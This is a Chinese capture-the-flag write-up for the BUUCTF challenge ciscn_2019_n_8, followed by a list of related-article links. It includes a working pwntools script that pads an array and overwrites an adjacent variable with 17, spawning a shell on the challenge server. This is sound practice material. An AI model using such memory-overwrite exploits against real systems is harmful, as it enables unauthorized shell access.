当前位置: 首页 > article >正文

[BUUCTF]ciscn_2019_n_8

题目

解题

先连接看看有什么信息

返回what's your name

没有其他信息

看程序基本信息

32位

拉到ida32查看

打开发现如下

由上述代码可知,需要将数组0-12装满,装什么都可以,将var[13]=17才能执行system("/bin/sh")

payload

from pwn import * #引入pwntools库

p=remote("node5.buuoj.cn",29632)#配置nc链接,连接服务器

payload=b'a'*13*4+p32(17)
#p32是针对32位程序,p64是针对64位程序,把字符转为hex
#0-12的空间装满,var[13]=17
#b表示一个字节字符串 
#从ida中查看可知,init类型,4字节(数组里存储的内容有变量类型,所以内存空间需要乘4)

p.sendline(payload)#发送攻击字符串

p.interactive()#程序交互

运行脚本文件 可得到

找到flag

学习参考连接:

PWN入门3-填充数据和写一个简单攻击脚本_哔哩哔哩_bilibili


http://www.kler.cn/a/414008.html

相关文章:

  • 计算机网络知识点极简总结
  • C语言解决空瓶换水问题:高效算法与实现
  • MySQL 启动失败问题分析与解决方案:`mysqld.service failed to run ‘start-pre‘ task`
  • 深入浅出UART驱动开发与调试:从基础调试到虚拟驱动实现
  • idea2024加载flowable6.8.1.36遇到的问题-idea启动flowable问题flowable源码启动问题
  • ffmpeg 增亮 docker 使用
  • 【YOLO系列复现】二、基于YOLOv6的目标检测:YOLOv6训练自己的数据集(史诗级详细教程)
  • FBX福币交易所固态电池板块逆市掀涨停潮
  • [代码随想录算法01] 704. 二分查找、27. 移除元素、977有序数组的平方
  • mfc110u.dll是什么意思,mfc110u.dll丢失解决方法大全详解
  • 【论文复现】YOLOv5复现
  • [极客大挑战 2019]HardSQL--详细解析
  • matlab显示sin二维图
  • JavaScript对象笔记
  • 跟李笑来学美式俚语(Most Common American Idioms): Part 36
  • std::srand(static_cast<unsigned int>(std::time(0)));每一部分都是啥意思
  • 图数据库 Cypher语言
  • 深度解读sparkRDD宽窄依赖
  • C语言main()函数
  • 【C知道】ES6特性
  • 两个生活中的例子反向理解正/反向代理?
  • unity中Rigidbody组件的其他属性和方法
  • 【Kubernetes 集群核心概念:Pod】pod生命周期介绍【五】
  • PHP 生成分享海报
  • 【C++】cin、cout基础编程题:完整解析与优化解法
  • 模拟手机办卡项目(移动大厅)--结合面向对象、JDBC、MYSQL、dao层模式,使用JAVA控制台实现